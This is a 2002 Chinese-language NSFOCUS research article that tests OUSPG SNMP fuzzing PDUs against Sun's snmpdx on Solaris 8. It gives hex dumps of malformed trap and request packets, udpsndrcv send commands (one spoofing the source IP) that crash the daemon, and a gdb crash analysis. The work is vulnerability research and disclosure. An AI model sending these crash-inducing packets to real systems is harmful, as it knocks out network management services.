首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第32期->技术专题
作者：scz <mailto:scz@nsfocus.com>
出处：http://www.nsfocus.com
主页：http://www.nsfocus.com
日期：2002-06-19
☆ 测试CERT公告中提供的PDU
测试用PDU实际上是Oulu University Secure Programming Group提供的。我们研究了OUSPG的测试工具以及公布出来的测试方式，缺省是用Java开发的UDP发包工具发送四组PDU，虽然在其说明中指出可以自行采用netcat或其它工具发送PDU，但据我们分析，厂商不大可能这样去做，也只有各类安全小组的成员会做如此尝试。而厂商最后补丁是用同样的测试方式去证明有效。如果这种测试手段本身不完善，很有可能厂商所出补丁并未修补完善。
Sun自称自己的SNMP实现不受"VU#107186"的影响。这引起我们的兴趣。从Sun的SNMP实现架构以及其历史上臭名昭著的各类漏洞原理来看，Sun的Trap实现不可能不受影响。
问题出在OUSPG缺省测试方式在测试Trap实现时，向传说中的也是缺省的162/UDP口发送PDU。对于使用SNMP Master Agent的Sun实现，根本没侦听这个端口。
假设34161是我们寻找中的SNMP Master Agent Trap Receive Port。当然，这个值随每次"/etc/rc3.d/S76snmpdx start"而不同。
在SPARC/Solaris 8上用lsof观察一下
# lsof -i udp:34161
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
snmpdx 28400 root 6u IPv4 0x300015cc198 0t0 UDP *:34161 (Idle)
目前发现，trap-enc测试组中00001500号PDU影响打过Sun SNMP补丁108869-15的
Solaris 8，现象是snmpdx崩溃，进程消失，如果做了相应配置，会看到core dump。
同时mibiisa还存在，但已无法正常工作。
在x86/Linux上用如下命令进行测试
# ./udpsndrcv -m 1500 -y <trap receive port> -d <...> -b 00001500
同时还发现，即使这里不伪造源IP为127.0.0.1，同样导致snmpdx崩溃
# ./udpsndrcv -m 1500 -y <trap receive port> -s <...> -d <...> -b 00001500
# od -v -An -tx1 00001500
30 5c 02 01 00 04 06 70 75 62 6c 69 63 a4 4f 06
09 2b 06 01 04 01 04 01 02 15 40 04 7f 00 00 01
02 01 00 02 01 00 43 02 05 dc 30 32 30 30 06 08
2b 06 01 02 01 02 01 00 04 84 ff ff ff ff 63 30
36 2d 73 6e 6d 70 76 31 20 77 69 74 68 20 25 73
25 73 25 73 25 2e 39 39 39 64 25 78 25 6e
#
下面对此报文做手工解码
--------------------------------------------------------------------------
30 5c SEQUENCE
02 01 00 SNMPv1
04 06 70 75 62 6c 69 63 public
a4 4f Trap-PDU
06 09 2b 06 01 04 01 04 01 02 15 .1.3.6.1.4.1.4.1.2.21
40 04 IpAddress
7f 00 00 01 SNMP Agent所在IP地址127.0.0.1
02 01 整型变量
00 trap类型为coldStart
02 01 整型变量
00 由于这个trap不是厂家自定义的trap，所以特
定代码必须是0
43 02 05 dc TimeTicks，单位是百分之一秒
30 32 SEQUENCE
30 30 SEQUENCE
06 08 2b 06 01 02 01 02 01 00 .1.3.6.1.2.1.2.1.0
04 84 ff ff ff ff OCTET STRING变量
63 30 36 2d 73 6e 6d 70 76 31 20 "c06-snmpv1 "
77 69 74 68 20 25 73 25 73 25 73 "with %s%s%s"
25 2e 39 39 39 64 25 78 25 6e "%.999d%x%n"
--------------------------------------------------------------------------
为了排除%s与%n的影响，修改PDU如下(echo "NSFOCUS" | od -v -An -tx1 -)，存为
NSFOCUS
30 5c 02 01 00 04 06 4e 53 46 4f 43 55 a4 4f 06
09 2b 06 01 04 01 04 01 02 15 40 04 7f 00 00 01
02 01 00 02 01 00 43 02 05 dc 30 32 30 30 06 08
2b 06 01 02 01 02 01 00 04 84 ff ff ff fa 4e 53
46 4f 43 55 53 0a 4e 53 46 4f 43 55 53 0a 4e 53
46 4f 43 55 53 0a 4e 53 46 4f 43 55 53 0a
# ./udpsndrcv -m 1500 -y <trap receive port> -d <...> -f NSFOCUS
SPARC/Solaris 8上的snmpdx崩溃。这里没有用"SNMP-Trap"，就导致snmpdx崩溃。
下面是tt观察得到的部分信息
# gdb /usr/lib/snmp/snmpdx <pid>
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xff0f1320 in seg6 () from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
(gdb) backtrace
#0 0xff0f1320 in seg6 () from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#1 0xff0f0800 in blalign ()
from /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1
#2 0xff346770 in asn_parse_string () from /usr/lib/libssasnmp.so.1
#3 0xff3481d0 in snmp_pdu_decode_variable () from /usr/lib/libssasnmp.so.1
#4 0xff347e4c in snmp_pdu_decode () from /usr/lib/libssasnmp.so.1
#5 0xff347268 in snmp_pdu_receive () from /usr/lib/libssasnmp.so.1
#6 0x178d8 in trap_processing ()
#7 0x188e0 in no_outstanding_session_for_the_agent ()
#8 0x194b4 in main ()
(gdb) f 2
#2 0xff346770 in asn_parse_string () from /usr/lib/libssasnmp.so.1
(gdb) x/20i $pc-8
0xffffffffff346768: call 0xffffffffff366aa0
0xffffffffff34676c: mov %i1, %o1
0xffffffffff346770: ld [ %fp + -4 ], %o0
0xffffffffff346774: st %o0, [ %i4 ]
0xffffffffff346778: ld [ %fp + -4 ], %o0
0xffffffffff34677c: ld [ %l1 ], %o1
0xffffffffff346780: add %o0, %i0, %o0
0xffffffffff346784: sub %o1, %o0, %o0
0xffffffffff346788: st %o0, [ %l1 ]
0xffffffffff34678c: ld [ %fp + -4 ], %o0
0xffffffffff346790: add %i1, %o0, %o0
0xffffffffff346794: ret
0xffffffffff346798: restore %g0, %o0, %o0
0xffffffffff34679c: save %sp, -96, %sp
0xffffffffff3467a0: and %i2, 0xff, %o2
0xffffffffff3467a4: mov %i1, %i2
0xffffffffff3467a8: clrb [ %i5 ]
0xffffffffff3467ac: mov %i2, %o1
0xffffffffff3467b0: mov %i4, %o3
0xffffffffff3467b4: mov %i0, %o0
(gdb) x/20i 0xff366aa0
0xff366aa0 <_PROCEDURE_LINKAGE_TABLE_+108>: sethi %hi(0x1b000), %g1
0xff366aa4 <_PROCEDURE_LINKAGE_TABLE_+112>: sethi %hi(0xff0f0400), %g1
0xff366aa8 <_PROCEDURE_LINKAGE_TABLE_+116>: jmp %g1 + 0x1f0 ! 0xff0f05f0 <memcpy>
0xff366aac <_PROCEDURE_LINKAGE_TABLE_+120>: sethi %hi(0x1e000), %g1
0xff366ab0 <_PROCEDURE_LINKAGE_TABLE_+124>: b,a 0xff366a34 <_PROCEDURE_LINKAGE_TABLE_>
0xff366ab4 <_PROCEDURE_LINKAGE_TABLE_+128>: nop
0xff366ab8 <_PROCEDURE_LINKAGE_TABLE_+132>: sethi %hi(0x21000), %g1
0xff366abc <_PROCEDURE_LINKAGE_TABLE_+136>: sethi %hi(0xff141800), %g1
0xff366ac0 <_PROCEDURE_LINKAGE_TABLE_+140>: jmp %g1 + 0x350 ! 0xff141b50 <free>
0xff366ac4 <_PROCEDURE_LINKAGE_TABLE_+144>: sethi %hi(0x24000), %g1
0xff366ac8 <_PROCEDURE_LINKAGE_TABLE_+148>: sethi %hi(0xff0f1800), %g1
0xff366acc <_PROCEDURE_LINKAGE_TABLE_+152>: jmp %g1 + 0x70 ! 0xff0f1870 <memset>
0xff366ad0 <_PROCEDURE_LINKAGE_TABLE_+156>: sethi %hi(0x27000), %g1
0xff366ad4 <_PROCEDURE_LINKAGE_TABLE_+160>: sethi %hi(0xff345400), %g1
0xff366ad8 <_PROCEDURE_LINKAGE_TABLE_+164>: jmp %g1 + 0x14c ! 0xff34554c <SSAOidCpy>
0xff366adc <_PROCEDURE_LINKAGE_TABLE_+168>: sethi %hi(0x2a000), %g1
0xff366ae0 <_PROCEDURE_LINKAGE_TABLE_+172>: b,a 0xff366a34 <_PROCEDURE_LINKAGE_TABLE_>
0xff366ae4 <_PROCEDURE_LINKAGE_TABLE_+176>: nop
0xff366ae8 <_PROCEDURE_LINKAGE_TABLE_+180>: sethi %hi(0x2d000), %g1
0xff366aec <_PROCEDURE_LINKAGE_TABLE_+184>: sethi %hi(0xff199c00), %g1
(gdb) x/20i memcpy
0xff0f05f0 <memcpy>: mov %o0, %o5
0xff0f05f4 <memcpy+4>: cmp %o2, 0x20
0xff0f05f8 <memcpy+8>: unknown
0xff0f05fc <memcpy+12>: andcc %o1, 7, %o3
0xff0f0600 <memcpy+16>: tst %o2
0xff0f0604 <memcpy+20>: unknown
0xff0f0608 <memcpy+24>: nop
0xff0f060c <memcpy+28>: ldub [ %o1 ], %o4
0xff0f0610 <memcpy+32>: inc %o1
0xff0f0614 <memcpy+36>: inc %o0
0xff0f0618 <memcpy+40>: deccc %o2
0xff0f061c <memcpy+44>: unknown
0xff0f0620 <memcpy+48>: stb %o4, [ %o0 + -1 ]
0xff0f0624 <exit>: retl
0xff0f0628 <exit+4>: mov %o5, %o0
0xff0f062c <exit+8>: unknown
0xff0f0630 <exit+12>: sub %o3, 8, %o3
0xff0f0634 <exit+16>: neg %o3
0xff0f0638 <exit+20>: sub %o2, %o3, %o2
0xff0f063c <exit+24>: ldub [ %o1 ], %o4
(gdb)
整个trap-enc测试组中就1500号PDU会导致snmpdx崩溃。
req-enc测试组00008010号PDU导致一个类似trap-enc测试组00001500号PDU同样的问
题
# od -v -An -tx1 00008010
30 4b 02 01 00 04 06 70 75 62 6c 69 63 a1 3e 02
02 1f 4a 02 01 00 02 01 00 30 32 30 30 06 08 2b
06 01 02 01 01 05 00 04 84 ff ff ff ff 63 30 36
2d 73 6e 6d 70 76 31 20 77 69 74 68 20 25 73 25
73 25 73 25 2e 39 39 39 64 25 78 25 6e
# od -v -An -tx1 00008187
30 2f 02 01 00 04 06 70 75 62 6c 69 63 a1 22 02
02 1f fb 02 01 00 02 01 00 30 16 30 14 06 08 2b
06 01 02 01 01 05 00 40 84 ff ff ff ff 7f 00 00
01
# od -v -An -tx1 00008423
30 2e 02 01 00 04 06 70 75 62 6c 69 63 a1 21 02
02 20 e7 02 01 00 02 01 00 30 15 30 13 06 08 2b
06 01 02 01 01 05 00 44 84 ff ff ff ff 02 01 00
# od -v -An -tx1 00013771
30 4b 02 01 00 04 06 70 75 62 6c 69 63 a3 3e 02
02 35 cb 02 01 00 02 01 00 30 32 30 30 06 08 2b
06 01 02 01 01 05 00 04 84 ff ff ff ff 63 30 36
2d 73 6e 6d 70 76 31 20 77 69 74 68 20 25 73 25
73 25 73 25 2e 39 39 39 64 25 78 25 6e
# od -v -An -tx1 00013948
30 2f 02 01 00 04 06 70 75 62 6c 69 63 a3 22 02
02 36 7c 02 01 00 02 01 00 30 16 30 14 06 08 2b
06 01 02 01 01 05 00 40 84 ff ff ff ff 7f 00 00
01
# od -v -An -tx1 00014184
30 2e 02 01 00 04 06 70 75 62 6c 69 63 a3 21 02
02 37 68 02 01 00 02 01 00 30 15 30 13 06 08 2b
06 01 02 01 01 05 00 44 84 ff ff ff ff 02 01 00
# od -v -An -tx1 00001269
30 4b 02 01 00 04 06 70 75 62 6c 69 63 a0 3e 02
02 04 f5 02 01 00 02 01 00 30 32 30 30 06 08 2b
06 01 02 01 01 05 00 04 84 ff ff ff ff 63 30 36
2d 73 6e 6d 70 76 31 20 77 69 74 68 20 25 73 25
73 25 73 25 2e 39 39 39 64 25 78 25 6e
# od -v -An -tx1 00001446
30 2f 02 01 00 04 06 70 75 62 6c 69 63 a0 22 02
02 05 a6 02 01 00 02 01 00 30 16 30 14 06 08 2b
06 01 02 01 01 05 00 40 84 ff ff ff ff 7f 00 00
01
# od -v -An -tx1 00001682
30 2e 02 01 00 04 06 70 75 62 6c 69 63 a0 21 02
02 06 92 02 01 00 02 01 00 30 15 30 13 06 08 2b
06 01 02 01 01 05 00 44 84 ff ff ff ff 02 01 00
# od -v -An -tx1 00007951
30 2b 02 01 00 04 06 70 75 62 6c 69 63 a1 1e 02
02 1f 0f 02 01 00 02 01 00 30 12 30 10 06 08 2b
06 01 02 01 01 05 00 05 84 ff ff ff ff
# ./udpsndrcv -m 1500 -s 192.168.5.203 -d 192.168.5.208 -b 00007951
byteArray [ 45 bytes ] ---->
00000000 30 2B 02 01 00 04 06 70-75 62 6C 69 63 A1 1E 02 0+.....public?.
00000010 02 1F 0F 02 01 00 02 01-00 30 12 30 10 06 08 2B .........0.0...+
00000020 06 01 02 01 01 05 00 05-84 FF FF FF FF ........?
版权所有，未经许可，不得转载